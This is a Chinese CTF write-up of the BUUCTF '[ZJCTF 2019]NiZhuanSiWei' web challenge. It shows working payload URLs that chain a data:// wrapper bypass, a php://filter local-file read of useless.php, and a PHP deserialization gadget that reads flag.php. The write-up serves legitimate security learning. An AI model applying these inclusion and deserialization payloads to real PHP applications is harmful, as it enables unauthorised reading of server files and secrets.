当前位置: 首页 > news >正文

BUUCTF在线评测-练习场-WebCTF习题[ZJCTF 2019]NiZhuanSiWei1-flag获取、解析

解题思路

打开靶场,给了如下源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file);  //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?>
  1. 源码分析:

    • text:必须满足file_get_contents($text) === "welcome to the zjctf",这里file_get_contents是读取文件,所以不能直接传参

    • file:不能包含字符串flag,否则退出,如果不是flag那么包含填写的文件,这里提示了一个文件useless.php

    • password:会被反序列化(unserialize)并输出

目前首要目标,绕过text的判断、读取useless.php获取更多信息。

首先,绕过text读取文件判断,使用data伪协议,伪装一个文件

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

其中

d2VsY29tZSB0byB0aGUgempjdGY=

 为welcome to the zjctf的base64编码,这样file_get_contents($text)即可 == "welcome to the zjctf"

然后是读取useless.php文件,这里只过滤了flag,所以不用绕过,直接利用include文件包含漏洞,伪协议读取useless.php文件,并以base64形式展示

file=php://filter/read=convert.base64-encode/resource=useless.php

 最终payload,password随便填,目前作用未知

/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php&password=123

成功获取base64编码,下面我们解码

<?php  class Flag{  //flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  
?>  

首先,这里提示了有flag.php文件。 

其次,Flag类的__toString()方法会读取$file指定的文件内容。当反序列化后的对象被echo时,此方法自动触发。

那么结合前面的参数password会被反序列化,那么我们应该构造password去echo flag.php,即构造password为其中的序列化后的flag类,并且指定$file为flag.php,然后等待反序列化并且echo输出即可,构造payload:

<?php
class Flag {public $file = "flag.php";
}
echo serialize(new Flag());
?>

 php文件输出

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 小总结一下

text data伪协议绕过读文件,

file包含useless.php文件,因为需要用到flag的类

password构造为序列化后的新Flag类,指定参数为flag.php,当index.php里面的反序列化操作以及echo输出后,即可触发tostring函数,即输出flag.php内容

看到了useless.php里输出成功的英文,说明执行成功,查看源码,发现flag

 

总结

一道结合文件包含漏洞、php伪协议、反序列化漏洞的题型,难点可能在反序列化那里,但是给的题型比较经典,看到tostring就应该想到,反序列化输出漏洞 

http://www.xdnf.cn/news/1078039.html

相关文章:

  • 02-更换证件背景
  • 节点小宝内网穿透实测:告别“无网”烦恼,让你的设备“触手可及”
  • python实现基于资金分布、RSI及布林策略的方案
  • 智慧赋能高压并网:分布式光伏监控系统在5.88MW物流园项目的实践解析
  • [环境配置] 3. 使用 UV管理 Python 环境
  • 416. 分割等和子集
  • docker拉取redis并使用
  • STEP-BACK PROMPTING:退一步:通过抽象在大型语言模型中唤起推理能力
  • MySQL的5.0和8.0版本区别
  • 基于[coze][dify]搭建一个智能体工作流,使用第三方插件抓取热门视频数据,自动存入在线表格
  • vscode 下 LaTeX 使用配置
  • (一)大语言模型的关键技术<-AI大模型构建
  • Redis搭建集群模式
  • 微信小程序入门实例_____打造你的专属单词速记小程序
  • MAC 多应用切换技巧,单应用切换技巧
  • 文心快码答用户问|Comate AI IDE专场
  • C#调用C++导出的dll怎么调试进入C++ DLL源码
  • 生产环境下载功能OOM问题复盘
  • 学习笔记(29):训练集与测试集划分详解:train_test_split 函数深度解析
  • 科技有温度:七彩喜智慧康养平台,为银发生活织就“数字守护网”
  • 【Vue入门学习笔记】Vue核心语法
  • 飞算 JavaAI 智控引擎:全链路开发自动化新图景
  • Active-Prompt:让AI更智能地学习推理的革命性技术
  • 纹理贴图算法研究论文综述
  • 【leetcode算法300】:哈希板块
  • Stereolabs ZED系列与ZED X立体相机系列对比:如何根据项目需求选择?
  • Kalibr解毒填坑(一):相机标定失败
  • .net审计库:EntityFrameworkCore.Audit
  • React安装使用教程
  • UniApp完全支持快应用QUICKAPP-以及如何采用 Uni 模式开发发行快应用优雅草卓伊凡